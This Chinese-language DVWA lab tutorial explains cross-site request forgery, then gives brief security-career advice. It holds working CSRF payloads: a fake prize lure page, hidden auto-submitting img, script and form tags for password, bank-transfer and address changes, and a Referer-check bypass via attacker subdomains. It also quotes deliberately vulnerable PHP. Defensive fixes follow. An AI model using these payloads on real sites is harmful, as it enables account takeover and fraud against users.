漏洞原理
CSRF工作流程:
1. 用户登录网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B构造请求发送到网站A
4. 浏览器自动携带Cookie
5. 网站A认为是合法请求并执行
Low级别攻击
功能分析
页面功能:修改密码
请求方式:GET
URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
后端代码:
php
<?php
if(isset($_GET['password_new'])) {
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if($pass_new == $pass_conf) {
// 修改密码(无任何验证!)
$query = "UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";
mysqli_query($conn, $query);
}
}
?>
漏洞点:
- 使用GET请求修改密码
- 无Token验证
- 无二次确认
- 无当前密码验证
攻击实施
恶意页面代码:
html
<!DOCTYPE html>
<html>
<head>
<title>您已中奖!</title>
</head>
<body>
<h1>恭喜您!</h1>
<p>
<b>
<a style="background-color: red; padding: 10px; color: white;"
href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">
点击领取奖品
</a>
</b>
</p>
</body>
</html>
攻击流程:
1. 管理员登录DVWA(127.0.0.1)
2. 在同一浏览器打开攻击者网页
3. 点击"点击领取奖品"链接
4. 密码被修改为"hacked"
5. 管理员下次登录失败
自动化攻击:
html
<!-- 用户打开页面就自动触发 -->
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" style="display:none">
<!-- 或使用JavaScript -->
<script>
document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';
</script>
实际危害场景
金融系统攻击:
html
<!-- 转账请求 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">
社交网络攻击:
html
<!-- 关注攻击者 -->
<img src="http://social.com/follow?user=attacker">
<!-- 发布广告内容 -->
<form action="http://social.com/post" method="POST">
<input name="content" value="广告内容">
</form>
<script>document.forms[0].submit();</script>
电商平台攻击:
html
<!-- 修改收货地址 -->
<form action="http://shop.com/address" method="POST">
<input name="address" value="攻击者地址">
</form>
Medium级别绕过
防护代码:
php
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {
// 检查Referer头
}
绕过方法:
html
<!-- 在攻击者域名中包含目标域名 -->
攻击者域名: 127.0.0.1.attacker.com
或创建子域名: 127-0-0-1.attacker.com
CSRF完整防护方案
1. Token验证(最重要)
php
// 生成Token
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// HTML表单
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
// 验证Token
if($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF Token验证失败');
}
2. SameSite Cookie
php
setcookie('session', $value, [
'samesite' => 'Strict', // 或'Lax'
'httponly' => true,
'secure' => true
]);
3. 验证Referer
php
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if(strpos($referer, 'https://yourdomain.com') !== 0) {
die('非法请求来源');
}
4. 二次确认
php
// 敏感操作要求输入当前密码
if($_POST['current_password'] !== $user_password) {
die('当前密码错误');
}
5. 验证码
php
// 敏感操作添加验证码
if(!verify_captcha($_POST['captcha'])) {
die('验证码错误');
}
职业安全建议
网络安全职业现状
行业特点:
- 相比其他行业,安全岗位裁员较少
- 外企可能存在合同陷阱(6个月试用期)
- 技术能力是最好的保障
风险警示:
入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任
保命技能
运维工程师必备:
- Linux/Windows Server管理
- 服务器架构设计
- 应急响应能力
- DOS攻击防护
- 提权技术理解
开发工程师现状:
- 普遍缺乏安全意识
- 99.9%不学习安全知识
- 成为最大的安全隐患
建议:
- 技术能力强的开发者学习安全知识
- 找红队专家审核关键代码
- 定期进行安全培训